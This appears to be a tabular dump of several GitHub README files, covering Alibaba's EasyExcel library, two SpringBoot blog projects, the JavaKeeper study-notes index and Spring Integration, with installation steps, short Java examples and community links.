FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
| 0 |
alibaba/easyexcel | 快速、简洁、解决大文件内存溢出的java处理Excel工具 | 2018-02-06T03:14:08Z | null |
EasyExcel
======================
[![Build Status](https://github.com/alibaba/easyexcel/actions/workflows/ci.yml/badge.svg?branch=master)](https://github.com/alibaba/easyexcel/actions/workflows/ci.yml?query=branch%3Amaster)
[![Maven central](https://maven-badges.herokuapp.com/maven-central/com.alibaba/easyexcel/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.alibaba/easyexcel)
[![License](http://img.shields.io/:license-apache-brightgreen.svg)](http://www.apache.org/licenses/LICENSE-2.0.html)
[![](https://img.shields.io/badge/EasyExcel-%E6%9F%A5%E7%9C%8B%E8%B4%A1%E7%8C%AE%E6%8E%92%E8%A1%8C%E6%A6%9C-orange)](https://opensource.alibaba.com/contribution_leaderboard/details?projectValue=easyexcel)
# 新手必读
* 新手必读 🔥🔥🔥 :[https://mp.weixin.qq.com/s/8RCyyx1EspiDPFnoYMx-Kw](https://mp.weixin.qq.com/s/8RCyyx1EspiDPFnoYMx-Kw)
* 官方网站:[https://easyexcel.opensource.alibaba.com/](https://easyexcel.opensource.alibaba.com/)
* github地址:[https://github.com/alibaba/easyexcel](https://github.com/alibaba/easyexcel)
* gitee地址:[https://gitee.com/easyexcel/easyexcel](https://gitee.com/easyexcel/easyexcel)
# JAVA解析Excel工具
Java解析、生成Excel比较有名的框架有Apache poi、jxl。但他们都存在一个严重的问题就是非常的耗内存,poi有一套SAX模式的API可以一定程度的解决一些内存溢出的问题,但POI还是有一些缺陷,比如07版Excel解压缩以及解压后存储都是在内存中完成的,内存消耗依然很大。
easyexcel重写了poi对07版Excel的解析,一个3M的excel用POI sax解析依然需要100M左右内存,改用easyexcel可以降低到几M,并且再大的excel也不会出现内存溢出;03版依赖POI的sax模式,在上层做了模型转换的封装,让使用者更加简单方便
# 作者强烈推荐的数据库管理工具:Chat2DB
AI 驱动的数据库管理、数据分析工具,支持Mysql、pg、oracle、sqlserver、redis等10多种数据库
* Github 地址: [https://github.com/chat2db/Chat2DB](https://github.com/chat2db/Chat2DB)
* 官网:[https://chat2db-ai.com](https://chat2db-ai.com)
<p align="center">
<a href="https://chat2db.ai/" target="_blank">
<img src="https://chat2db-cdn.oss-us-west-1.aliyuncs.com/website/img/cover.png" alt="Chat2DB" />
</a>
</p>
# 16M内存23秒读取75M(46W行25列)的Excel(3.2.1+版本)
当然还有[极速模式](https://easyexcel.opensource.alibaba.com/qa/read#%E5%BC%80%E5%90%AF%E6%80%A5%E9%80%9F%E6%A8%A1%E5%BC%8F)
能更快,但是内存占用会在100M多一点
![img](img/readme/large.png)
# 最新版本
```xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>easyexcel</artifactId>
<version>3.3.4</version>
</dependency>
```
# 帮忙点个⭐Star
开源不易,如果觉得EasyExcel对您的工作还是有帮助的话,请帮忙在<a target="_blank" href='https://github.com/alibaba/easyexcel'><img src="https://img.shields.io/github/stars/alibaba/easyexcel.svg?style=flat-square&label=Stars&logo=github" alt="github star"/></a>
的右上角点个⭐Star,您的支持是使EasyExcel变得更好最大的动力。
# 如何获取帮助
## 优先建议自己通过文档来解决问题
* [快速开始](https://easyexcel.opensource.alibaba.com/docs/current/)
* [常见问题](https://easyexcel.opensource.alibaba.com/docs/qa/)
* [API](https://easyexcel.opensource.alibaba.com/docs/current/api/)
## 其次建议通过`issues`来解决解决问题
可以尝试在以下2个链接搜索问题,如果不存在可以尝试创建`issue`。
* 去 [github](https://github.com/alibaba/easyexcel/issues) 搜索`issues`
* 去 [gitee](https://gitee.com/easyexcel/easyexcel/issues) 搜索`issues`
通过 `issues` 解决问题,可以给后面遇到相同问题的同学查看,所以比较推荐这种方式。
不管`github`、`gitee`都会定期有人回答您的问题,比较紧急可以在提完`issue`以后在钉钉群艾特群主并发送`issue`地址帮忙解决。
`QQ` 公司不让用,有时候也会去看,但是核心肯定还是在钉钉。
## 也可以加入钉钉&QQ群来解决问题
加入钉钉或QQ群,看完公告可以获得帮助 。
比较推荐钉钉群,`QQ` 公司不让用,当然QQ群也会有热心网友帮忙解决。
[QQ1群(已满): 662022184](https://jq.qq.com/?_wv=1027&k=1T21jJxh)
[QQ2群(已满): 1097936804](https://jq.qq.com/?_wv=1027&k=j5zEy6Xl)
[QQ3群(已满): 453928496](https://qm.qq.com/cgi-bin/qm/qr?k=e2ULsA5A0GldhV2CXJ8sIbAyu9I6qqs7&jump_from=webapi)
[QQ4群(已满): 496594404](https://qm.qq.com/cgi-bin/qm/qr?k=e_aVG1Q7gi0PJUBkbrUGAgbeO3kUEInK&jump_from=webapi)
[QQ5群(已满): 451925680](https://jq.qq.com/?_wv=1027&k=6VHhvxyf)
[QQ6群(已满): 784741035](https://jq.qq.com/?_wv=1027&k=BbLBIo9P)
[QQ7群(已满): 667889383](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=XdTLw3Z3pr63VT0IkyoY-2t25TG7WxbG&authKey=gQKvTXipsjfUO1aNfL9zdHTfOmkqC6E%2BQ2zDg2jym8h3qXuQ7RtkpeAHeg9I4UhL&noverify=0&group_code=667889383)
[QQ8群: 113968681](https://qm.qq.com/q/qwfl5RRBAG)
[钉钉1群(已满): 21960511](https://qr.dingtalk.com/action/joingroup?code=v1,k1,cchz6k12ci9B08NNqhNRFGXocNVHrZtW0kaOtTKg/Rk=&_dt_no_comment=1&origin=11)
[钉钉2群(已满): 32796397](https://qr.dingtalk.com/action/joingroup?code=v1,k1,jyU9GtEuNU5S0QTyklqYcYJ8qDZtUuTPMM7uPZTS8Hs=&_dt_no_comment=1&origin=11)
[钉钉3群(已满): 33797247](https://qr.dingtalk.com/action/joingroup?code=v1,k1,3UGlEScTGQaHpW2cIRo+gkxJ9EVZ5fz26M6nW3uFP30=&_dt_no_comment=1&origin=11)
[钉钉4群(已满): 33491624](https://qr.dingtalk.com/action/joingroup?code=v1,k1,V14Pb65Too70rQkEaJ9ohb6lZBZbtp6jIL/q9EWh9vA=&_dt_no_comment=1&origin=11)
[钉钉5群(已满): 32134498](https://h5.dingtalk.com/circle/healthCheckin.html?dtaction=os&corpId=dingb9fa1325d9dccc3ecac589edd02f1650&5233a=71a83&cbdbhh=qwertyuiop)
[钉钉6群(已满): 34707941](https://h5.dingtalk.com/circle/healthCheckin.html?dtaction=os&corpId=dingcf68008a1d443ac012d5427bdb061b7a&6ae36c3d-0c80-4=22398493-6c2a-4&cbdbhh=qwertyuiop)
[钉钉7群(已满): 35235427](https://h5.dingtalk.com/circle/healthCheckin.html?dtaction=os&corpId=ding532b9018c06c7fc8660273c4b78e6440&167fb=ed003&cbdbhh=qwertyuiop)
[钉钉8群(已满): 44752220](https://h5.dingtalk.com/circle/healthCheckin.html?dtaction=os&corpId=dingea96808beee421693fd4ba7542d6e5da&0380092a-fa46=a6a40905-7951&cbdbhh=qwertyuiop)
[钉钉9群(已满): 11045002277](https://h5.dingtalk.com/circle/healthCheckin.html?dtaction=os&corpId=dinge338d2215891c0459c13cd6b2cb108a6&6972d=b92f9&cbdbhh=qwertyuiop)
[钉钉10群(已满): 27360019755](https://qr.dingtalk.com/action/joingroup?code=v1,k1,v25LHn2liWmrWUKlkhIzOTcK7s7onp/sZP8mO5oIYSs=&_dt_no_comment=1&origin=11)
[钉钉11群(已满):24330026964](https://qr.dingtalk.com/action/joingroup?code=v1,k1,63PjvTncu81oQ3X6XmGEJqnwQHCQxi/jaVlbUStq79o=&_dt_no_comment=1&origin=11)
[钉钉12群(已满):27210038956](https://qr.dingtalk.com/action/joingroup?code=v1,k1,3mKi7VTGlYO+IsDX5n7sYYm2Qrlm220kMBPsJFzKRis=&_dt_no_comment=1&origin=11)
[钉钉13群:83695000992](https://qr.dingtalk.com/action/joingroup?code=v1,k1,2JFUbWfxD1fGiq7LRW+mYjcK7s7onp/s1ZqOvfzkFGE=&_dt_no_comment=1&origin=11)
## 关注作者:程序员小獭
![qrcode_for_gh_c43212c8d0ed_258](https://github.com/alibaba/easyexcel/assets/22975773/13ceff34-d547-421b-b9a9-04f388792099)
# 维护者
姬朋飞(玉霄)、庄家钜
# 快速开始
## 读Excel
demo代码地址:[https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/read/ReadTest.java](https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/read/ReadTest.java)
详细文档地址:[https://easyexcel.opensource.alibaba.com/docs/current/quickstart/read](https://easyexcel.opensource.alibaba.com/docs/current/quickstart/read)
```java
/**
* 最简单的读
* <p>1. 创建excel对应的实体对象 参照{@link DemoData}
* <p>2. 由于默认一行行的读取excel,所以需要创建excel一行一行的回调监听器,参照{@link DemoDataListener}
* <p>3. 直接读即可
*/
@Test
public void simpleRead() {
String fileName = TestFileUtil.getPath() + "demo" + File.separator + "demo.xlsx";
// 这里 需要指定读用哪个class去读,然后读取第一个sheet 文件流会自动关闭
EasyExcel.read(fileName, DemoData.class, new DemoDataListener()).sheet().doRead();
}
```
## 写Excel
demo代码地址:[https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/write/WriteTest.java](https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/write/WriteTest.java)
详细文档地址:[https://easyexcel.opensource.alibaba.com/docs/current/quickstart/write](https://easyexcel.opensource.alibaba.com/docs/current/quickstart/write)
```java
/**
* 最简单的写
* <p>1. 创建excel对应的实体对象 参照{@link com.alibaba.easyexcel.test.demo.write.DemoData}
* <p>2. 直接写即可
*/
@Test
public void simpleWrite() {
String fileName=TestFileUtil.getPath()+"write"+System.currentTimeMillis()+".xlsx";
// 这里 需要指定写用哪个class去读,然后写到第一个sheet,名字为模板 然后文件流会自动关闭
// 如果这里想使用03 则 传入excelType参数即可
EasyExcel.write(fileName,DemoData.class).sheet("模板").doWrite(data());
}
```
## web上传、下载
demo代码地址:[https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/web/WebTest.java](https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/web/WebTest.java)
```java
/**
* 文件下载(失败了会返回一个有部分数据的Excel)
* <p>
* 1. 创建excel对应的实体对象 参照{@link DownloadData}
* <p>
* 2. 设置返回的 参数
* <p>
* 3. 直接写,这里注意,finish的时候会自动关闭OutputStream,当然你外面再关闭流问题不大
*/
@GetMapping("download")
public void download(HttpServletResponse response) throws IOException {
// 这里注意 有同学反应使用swagger 会导致各种问题,请直接用浏览器或者用postman
response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet");
response.setCharacterEncoding("utf-8");
// 这里URLEncoder.encode可以防止中文乱码 当然和easyexcel没有关系
String fileName=URLEncoder.encode("测试","UTF-8").replaceAll("\\+","%20");
response.setHeader("Content-disposition","attachment;filename*=utf-8''"+fileName+".xlsx");
EasyExcel.write(response.getOutputStream(),DownloadData.class).sheet("模板").doWrite(data());
}
/**
* 文件上传
* <p>1. 创建excel对应的实体对象 参照{@link UploadData}
* <p>2. 由于默认一行行的读取excel,所以需要创建excel一行一行的回调监听器,参照{@link UploadDataListener}
* <p>3. 直接读即可
*/
@PostMapping("upload")
@ResponseBody
public String upload(MultipartFile file)throws IOException{
EasyExcel.read(file.getInputStream(),UploadData.class,new UploadDataListener(uploadDAO)).sheet().doRead();
return"success";
}
```
| 0 |
shimh-develop/blog-vue-springboot | 基于Vue+SpringBoot构建的博客项目 | 2018-01-03T07:14:58Z | null |
Vue + SpringBoot实现的博客系统
线上地址:<a target="_blank" href="http://blog.shiminghui.top">For Fun</a>
## ssr 服务端渲染版本
<a href="https://github.com/shimh-develop/blog-vue-springboot/tree/ssr" target="_blank">ssr分支</a>
# 效果图
## 首页
![image](https://github.com/shimh-develop/blog-vue-springboot/blob/master/document/index2.png)
## 登录页
![image](https://github.com/shimh-develop/blog-vue-springboot/blob/master/document/login.png)
## 注册页
![image](https://github.com/shimh-develop/blog-vue-springboot/blob/master/document/register.png)
## 文章分类-标签、详情
![image](https://github.com/shimh-develop/blog-vue-springboot/blob/master/document/ct.png)
![image](https://github.com/shimh-develop/blog-vue-springboot/blob/master/document/ct-detail.png)
## 文章归档
![image](https://github.com/shimh-develop/blog-vue-springboot/blob/master/document/archive.png)
## 写文章
![image](https://github.com/shimh-develop/blog-vue-springboot/blob/master/document/write.png)
## 文章详情
![image](https://github.com/shimh-develop/blog-vue-springboot/blob/master/document/detail.png)
## 评论
![image](https://github.com/shimh-develop/blog-vue-springboot/blob/master/document/comment2.png)
# 技术
## 前端 blog-app
- Vue
- Vue-router
- Vuex
- ElementUI
- mavon-editor
- lodash
- axios
- Webpack
## 后端 blog-api
- SpringBoot
- Shiro
- Jpa
- Redis
- Fastjson
- Druid
- MySQL
- Maven
# 实现功能
## 整体
- 用户:登录 注册 退出
- 首页:文章列表、最热标签、最新文章、最热文章
- 文章分类-标签:列表、详情
- 文章归档
- 文章:写文章、文章详情
- 评论:文章添加评论 对评论回复
- 文章列表滑动分页
## 后端
- 用户、文章、文章分类、标签和评论 增删改查api接口
- 基于token权限控制
- Redis存储Session
- 全局异常处理
- 操作日志记录
# 待实现功能
- 评论的分页 点赞
- 留言板
- 第三方登录
- ......
# 运行
将项目clone到本地
## 方式一 直接运行SpringBoot项目(已将打包的静态文件放到了 resources/static下)
1. 将blog-api导入到IDE工具中
2. resources/sql/blog-schema.sql、blog-data.sql导入MySQL数据库
3. 打开Redis数据库
4. resources/application.properties 修改MySQL、Redis连接
5. Runas运行,访问:http://localhost:8888
## 方式二 前后分离(开发方式)
1. 按方式一运行blog-api,提供api数据接口
2. 打开命令行
> cd blog-app
> npm install
> npm run dev
3. 访问:http://localhost:8080
4. 修改blog-app/src 下的文件进行开发
5. npm run build 生成最终静态文件
| 0 |
Jstarfish/JavaKeeper | ✍️ Java 工程师必备架构体系知识总结:涵盖分布式、微服务、RPC等互联网公司常用架构,以及数据存储、缓存、搜索等必备技能 | 2019-09-03T04:54:05Z | null | <p align="center">
<a href="https://www.lazyegg.net/JavaKeeper">
<img src="https://i.loli.net/2020/03/13/WOJFBDIG6kocKxh.png">
</a>
<br ><br >
<img src="https://img.shields.io/badge/language-Java-blue.svg">
<img src="https://img.shields.io/badge/platform-Linux-red.svg">
<a href="https://juejin.im/user/5b8f1d426fb9a019d7477421"><img src="https://img.shields.io/badge/%E6%8E%98%E9%87%91-@lazyegg-FFA500.svg?style=flat&colorA=1970fe"></a>
<a href="https://www.lazyegg.net"><img src="https://img.shields.io/badge/Blog-lazyegg-80d4f9.svg?style=flat"></a>
<a href="https://blog.csdn.net/u011870547"><img src="https://img.shields.io/badge/CSDN-@大新之助-fd6f32.svg?style=flat&colorA=B22222"></a>
</p>
<h3 align="center">记录并分享每一次成长</h3>
------
通过 gitbook 的形式整理了自己的工作和学习经验,[JavaKeeper](http://javakeeper.starfish.ink) 直接访问即可,也推荐大家采用这种形式创建属于自己的“笔记本”,让成长看的见。
> 欢迎关注公众号 [JavaKeeper](#公众号) ,有 500+ 本电子书,大佬云集的微信群,等你来撩~
## ☕ Java
| Project | Version | Article |
| :-----: | :-----: | :----------------------------------------------------------- |
| JVM | | [JVM与Java体系结构](https://javakeeper.starfish.ink/java/JVM/JVM-Java.html)<br/>[类加载子系统](https://javakeeper.starfish.ink/java/JVM/Class-Loading.html)<br/>[运行时数据区](https://javakeeper.starfish.ink/java/JVM/Runtime-Data-Areas.html)<br/>[看完这篇垃圾回收,和面试官扯皮没问题了](https://javakeeper.starfish.ink/java/JVM/GC.html)<br/>[垃圾回收-实战篇](https://javakeeper.starfish.ink/java/JVM/GC-%E5%AE%9E%E6%88%98.html)<br/>[你有认真了解过自己的Java“对象”吗](https://javakeeper.starfish.ink/java/JVM/Java-Object.html)<br/>[JVM 参数配置](https://javakeeper.starfish.ink/java/JVM/JVM%E5%8F%82%E6%95%B0%E9%85%8D%E7%BD%AE.html)<br/>[谈谈你对 OOM 的认识](https://javakeeper.starfish.ink/java/JVM/OOM.html)<br/>[阿里面试回顾: 说说强引用、软引用、弱引用、虚引用?](https://javakeeper.starfish.ink/java/JVM/Reference.html)<br/>[JVM 性能监控和故障处理工具](https://javakeeper.starfish.ink/java/JVM/JVM%E6%80%A7%E8%83%BD%E7%9B%91%E6%8E%A7%E5%92%8C%E6%95%85%E9%9A%9C%E5%A4%84%E7%90%86%E5%B7%A5%E5%85%B7.html)<br/> |
| Java8 | | [Java8 通关攻略](https://javakeeper.starfish.ink/java/Java-8.html)<br/> |
| JUC | | [不懂Java 内存模型,就先别扯什么高并发](https://javakeeper.starfish.ink/java/JUC/Java-Memory-Model.html)<br/>[面试必问的 volatile,你真的理解了吗](https://javakeeper.starfish.ink/java/JUC/volatile.html)<br/>[从 Atomic 到 CAS ,竟然衍生出这么多 20k+ 面试题](https://javakeeper.starfish.ink/java/JUC/CAS.html)<br/>[「阻塞队列」手写生产者消费者、线程池原理面试题真正的答案](https://javakeeper.starfish.ink/java/JUC/BlockingQueue.html)<br/>[线程池解毒](https://javakeeper.starfish.ink/java/JUC/Thread-Pool.html)<br/> |
| NIO | | |
## 💾 数据存储、缓存和搜索
| Project | Version | Article |
| :----------------------------------------------------------: | :-----: | :----------------------------------------------------------- |
| ![](https://icongr.am/devicon//mysql-original.svg?size=20) **MySQL** | 5.7.25 | [1、MySQL架构概述](https://javakeeper.starfish.ink/data-management/MySQL/MySQL-Framework.html)<br/>[2、MySQL存储引擎](https://javakeeper.starfish.ink/data-management/MySQL/MySQL-Storage-Engines.html)<br/>[3、索引](https://javakeeper.starfish.ink/data-management/MySQL/MySQL-Index.html)<br/>[4、事务](https://javakeeper.starfish.ink/data-management/MySQL/MySQL-Transaction.html)<br/>5、表设计<br/>[6、性能优化](docs/data-store/MySQL/MySQL-Optimization.md)<br/>7、锁机制<br/>8、分区分表分库<br/>9 、主从复制<br/> |
| ![](https://icongr.am/devicon//redis-original.svg?size=20) **Redis** | 5.0.6 | [1、NoSQL概述]()<br/>[2、Redis概述](https://javakeeper.starfish.ink/data-management/Redis/ReadRedis.html)<br/>[3、Redis数据类型](https://javakeeper.starfish.ink/data-management/Redis/Redis-Datatype.html)<br/>[4、Redis配置](https://javakeeper.starfish.ink/data-management/Redis/Redis-Conf.html)<br/>[5、深入理解 Redis 的持久化](https://javakeeper.starfish.ink/data-management/Redis/Redis-Persistence.html)<br/> |
| **Elasticsearch** | | |
| **Amazon S3** | | |
| MongoDB | | |
| FastDFS | | |
## 🖥️ 服务器
| Project | Version | Article |
| :-------: | :-----------------: | :----------------------------------------------------------- |
| **Linux** | CentOS release 6.10 | [Linux通关攻略]( <https://github.com/Jstarfish/JavaEgg/blob/master/docs/linux/linux.md>) |
| **Nginx** | 1.16.1 | [Nginx通关攻略](https://mp.weixin.qq.com/s/jA-6tDcrNgd-Wtncj6D6DQ) |
## 🌱 Spring全家福和微服务
| Project | Version | Article |
| :----------: | :------------: | :----------------------------------------------------------- |
| Spring | 4.3.26.RELEASE | [1、Spring 概述](/docs/spring/Spring-Overview.md)<br/> |
| Spring MVC | | |
| Spring Boot | 2.1.8 | [Spring Boot入门](/docs/springboot/Hello-SpringBoot.md)<br>[Spingboot定时任务@Scheduled](/docs/springboot/Spingboot定时任务@Scheduled.md)<br> |
| Spring Cloud | | |
## 🏡 必备框架
| Project | Version | Article |
| :-----: | :-----: | :------ |
| JPA | | |
| MyBatis | | |
| Shiro | | |
## ✉️ Message Queue
| Project | Version | Article |
| :-----: | :-----: | :----------------------------------------------------------- |
| MQ | | [Hello MQ](/docs/message-queue/浅谈消息队列及常见的消息中间件.md)<br> |
| Kafka | 2.12 | [Hello Kafka](/docs/message-queue/Kafka/Hello-Kafka.md)<br>[Kafka为什么能那么快的 6 个原因](https://mp.weixin.qq.com/s/dbnpPEF0FBB5A5xH21OoeQ)<br/> |
## :dog: RPC Learning
| Project | Version | Article |
| :-----: | :-----: | :----------------------------------------------------------- |
| RPC | gRPC | [1 —— Hello protocol-buffers](/docs/rpc/Hello-Protocol-Buffers.md)<br> |
## ⚒️ 基础工具
| Project | Article |
| :-----: | :----------------------------------------------------------- |
| Maven | [头条一面竟然问我maven?](/docs/tools/Maven.md) |
| Git | [github 竟然有这些骚操作,真是涨姿势](/docs/tools/github.md) |
| IDEA | [IDEA总结——磨刀霍霍向代码](/docs/tools/IDEA.md) |
| Jenkins | |
## 🎨 设计模式
| Project | Article |
| :------------------: | :----------------------------------------------------------- |
| GoF 的 23 种设计模式 | [设计模式前传——要学设计模式你要先知道这些](/docs/design-pattern/Design-Pattern-Overview.md) <br/>[单例模式——我只有一个对象](/docs/design-pattern/Singleton-Pattern.md)<br/>[工厂模式——我有好多对象](/docs/design-pattern/Factory-Pattern.md)<br/>[观察者模式——暗中观察](/docs/design-pattern/Observer-Pattern.md)<br />[装饰者模式——拒绝继承滥用](/docs/design-pattern/Decorator-Pattern.md)<br />[责任链模式——更灵活的 if else](/docs/design-pattern/Chain-of-Responsibility-Pattern)<br>[代理模式——面试官问我Spring AOP中两种代理的区别](https://mp.weixin.qq.com/s/U7eR5Mpu4VBbtPP1livLnA)<br/>[原型模式——浅拷贝和深拷贝](http://mp.weixin.qq.com/s?__biz=MzIyNDI3MjY0NQ==&mid=2247485400&idx=1&sn=b83ef5d8d81e54bc46207bf540fc9cf9&chksm=e810cfb2df6746a41e10904fe43611e1385d406a95f680472e72620b91973f8724af9a4d8c37&token=1569764147&lang=zh_CN#rd)<br/> |
## 🌍 SOA 架构
| Project | Version | Article |
| :-------: | :-----: | :----------------------------------------------------------- |
| Zookeeper | 3.5.6 | [从Paxos到ZooKeeper——Hello ZK](/docs/soa/zookeeper/Hello-Zookeeper.md)<br/>[ZooKeeper实战——Curator](/docs/soa/zookeeper/Zookeeper实战与源码.md)<br/> |
## 👨🏿💻 Big Data
| Project | Version | Article |
| :------: | :-----: | :------------------------------------------------ |
| Big Data | | [Hello Big Data](/docs/big-data/Hello-BigData.md) |
## 🔢 算法 - Algorithms
| Project | Article |
| :------: | :----------------------------------------------------------- |
| LeetCode | [时间复杂度详解](/docs/leetcode/complexity.md)<br/>[两数之和](/docs/leetcode/两数之和.md) |
## 📖 **数据结构 - Data Structures**
| Project | Article |
| :--------: | :------ |
| 数组与链表 | |
| 栈与队列 | |
| 树与图 | |
| 哈希表 | |
| 堆 | |
| 字符串 | |
## 🏆 直击面试
| Project | Article |
| :-----: | :----------------------------------------------------------- |
| Spring | 「 直击面试」—— Spring高频面试题 |
| 网络 | [「 直击面试」—— 搞定计算机网络](/docs/network/Network-FAQ.md) |
| 基础 | [「 直击面试」—— 搞定 Java 集合](/docs/java/Collections/Collections-FAQ.md) |
| MySQL | [「 直击面试」—— MySQL三文字总结+面试100问](https://mp.weixin.qq.com/s/MCFHNOQnTtJ6MGVjM3DP4A) |
## ❗️ 勘误
+ 文章只是记录自己的学习,如果在文章中发现错误或者侵权问题,欢迎指出,谢谢
## ©️ 转载
<a rel="license" href="http://creativecommons.org/licenses/by/4.0/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by/4.0/88x31.png" /></a><br />本<span xmlns:dct="http://purl.org/dc/terms/" href="http://purl.org/dc/dcmitype/Text" rel="dct:type">作品</span>由 <a xmlns:cc="http://creativecommons.org/ns#" href="https://github.com/Jstarfish/Technical-Learning" property="cc:attributionName" rel="cc:attributionURL">STARFISH</a> 创作,遵循<a rel="license" href="http://creativecommons.org/licenses/by/4.0/">CC 4.0 BY-SA </a>版权协议。
## 公众号
扫一扫《亚威农少女》,寻找你要的“宝藏”
![](https://tva1.sinaimg.cn/large/007S8ZIlly1gf8izv6q5jj30ft0ft4ir.jpg)
| 0 |
spring-projects/spring-integration | Spring Integration provides an extension of the Spring programming model to support the well-known Enterprise Integration Patterns (EIP) | 2011-07-22T21:47:27Z | null | <img align="right" width="250" height="250" src="https://spring.io/img/projects/spring-integration.svg?v=2">
# Spring Integration
[![Build Status](https://github.com/spring-projects/spring-integration/actions/workflows/ci-snapshot.yml/badge.svg)](https://github.com/spring-projects/spring-integration/actions/workflows/ci-snapshot.yml)
[![Revved up by Develocity](https://img.shields.io/badge/Revved%20up%20by-Develocity-06A0CE?logo=Gradle&labelColor=02303A)](https://ge.spring.io/scans?search.rootProjectNames=spring-integration)
Extends the Spring programming model to support the well-known Enterprise Integration Patterns.
Spring Integration enables lightweight messaging within Spring-based applications and supports integration with external systems via declarative adapters.
Those adapters provide a higher-level of abstraction over Spring’s support for remoting, messaging, and scheduling.
Spring Integration’s primary goal is to provide a simple model for building enterprise integration solutions while maintaining the separation of concerns that is essential for producing maintainable, testable code.
Using the Spring Framework encourages developers to code using interfaces and use dependency injection (DI) to provide a Plain Old Java Object (POJO) with the dependencies it needs to perform its tasks.
Spring Integration takes this concept one step further, where POJOs are wired together using a messaging paradigm and individual components may not be aware of other components in the application.
Such an application is built by assembling fine-grained reusable components to form a higher level of functionality.
With careful design, these flows can be modularized and also reused at an even higher level.
In addition to wiring together fine-grained components, Spring Integration provides a wide selection of channel adapters and gateways to communicate with external systems.
Channel Adapters are used for one-way integration (send or receive); gateways are used for request/reply scenarios (inbound or outbound).
# Installation and Getting Started
First, you need dependencies in your POM/Gradle:
```xml
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-core</artifactId>
</dependency>
```
which is also pulled transitively if you deal with target protocol channel adapters.
For example for Apache Kafka support you need just this:
```xml
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-kafka</artifactId>
</dependency>
```
For annotations or Java DSL configuration you need to *enable* Spring Integration in the application context:
```java
@EnableIntegration
@Configuration
public class ExampleConfiguration {
}
```
# Code of Conduct
Please see our [Code of conduct](https://github.com/spring-projects/.github/blob/main/CODE_OF_CONDUCT.md).
# Reporting Security Vulnerabilities
Please see our [Security policy](https://github.com/spring-projects/spring-integration/security/policy).
# Documentation
The Spring Integration maintains reference documentation ([published](https://docs.spring.io/spring-integration/reference/) and [source](src/reference/antora)), GitHub [wiki pages](https://github.com/spring-projects/spring-integration/wiki), and an [API reference](https://docs.spring.io/spring-integration/docs/current/api/).
There are also [guides and tutorials](https://spring.io/guides) across Spring projects.
# Checking out and Building
To check out the project and build from the source, do the following:
git clone git://github.com/spring-projects/spring-integration.git
cd spring-integration
./gradlew clean test
or
./gradlew clean testAll
The latter runs additional tests (those annotated with `@LongRunningIntegrationTest`); it is a more thorough test but takes quite a lot longer to run.
The test results are captured in `build/reports/tests/test` (or `.../testAll`) under each module (in HTML format).
Add `--continue` to the command to perform a complete build, even if there are failing tests in some modules; otherwise the build will stop after the current module(s) being built are completed.
**NOTE:** While Spring Integration runs with Java SE 17 or higher, a Java 17 compiler is required to build the project.
To build and install jars into your local Maven cache:
./gradlew build publishToMavenLocal
To build api Javadoc (results will be in `build/api`):
./gradlew api
To build the reference documentation (results will be in `build/site`):
./gradlew antora
To build complete distribution including `-dist`, `-docs`, and `-schema` zip files (results will be in `build/distributions`):
./gradlew dist
# Using Eclipse or Spring Tool Suite (with BuildShip Plugin)
If you have the BuildShip plugin installed,
*File -> Import -> Gradle -> Existing Gradle Project*
# Using Eclipse or Spring Tool Suite (when the BuildShip Plugin is not installed)
To generate Eclipse metadata (.classpath and .project files, etc.), do the following:
./gradlew eclipse
Once complete, you may then import the projects into Eclipse as usual:
*File -> Import -> General -> Existing projects into workspace*
Browse to the *'spring-integration'* root directory. All projects should import
free of errors.
# Using IntelliJ IDEA
To import the project into IntelliJ IDEA:
File -> Open... -> and select build.gradle from spring-integration project root directory
# Guidelines
See also [Contributor Guidelines](https://github.com/spring-projects/spring-integration/blob/main/CONTRIBUTING.adoc).
# Resources
For more information, please visit the Spring Integration website at: [https://spring.io/projects/spring-integration](https://spring.io/projects/spring-integration/)
| 0 |
ZHENFENG13/My-Blog | :palm_tree::octocat:A simple & beautiful blogging system implemented with spring-boot & thymeleaf & mybatis My Blog 是由 SpringBoot + Mybatis + Thymeleaf 等技术实现的 Java 博客系统,页面美观、功能齐全、部署简单及完善的代码,一定会给使用者无与伦比的体验 | 2019-03-04T09:17:00Z | null | # My Blog
![personal-blog](static-files/personal-blog.png)
**坚持不易,各位朋友如果觉得项目还不错的话可以给项目一个 star 吧,也是对我一直更新代码的一种鼓励啦,谢谢各位的支持。**
![my-blog-info](static-files/my-blog-info.png)
当前分支的 Spring Boot 版本为 2.7.5,想要学习和使用其它版本可以直接点击下方的分支名称跳转至对应的仓库分支中。
| 分支名称 | Spring Boot Version |
| ------------------------------------------------------------ | ------------------- |
| [spring-boot-2.3.7](https://github.com/ZHENFENG13/My-Blog/tree/spring-boot-2.3.7) | 2.3.7-RELEASE |
| [main](https://github.com/ZHENFENG13/My-Blog) | 2.7.5 |
| [spring-boot-3.x](https://github.com/ZHENFENG13/My-Blog/tree/spring-boot-3.x) | 3.1.0 |
- **你可以拿它作为博客模板,因为 My Blog 界面十分美观简洁,满足私人博客的一切要求;**
- **你也可以把它作为 SpringBoot 技术栈的学习项目,My Blog也足够符合要求,且代码和功能完备;**
- **内置三套博客主题模板,主题风格各有千秋,满足大家的选择空间,后续会继续增加,以供大家打造自己的博客;**
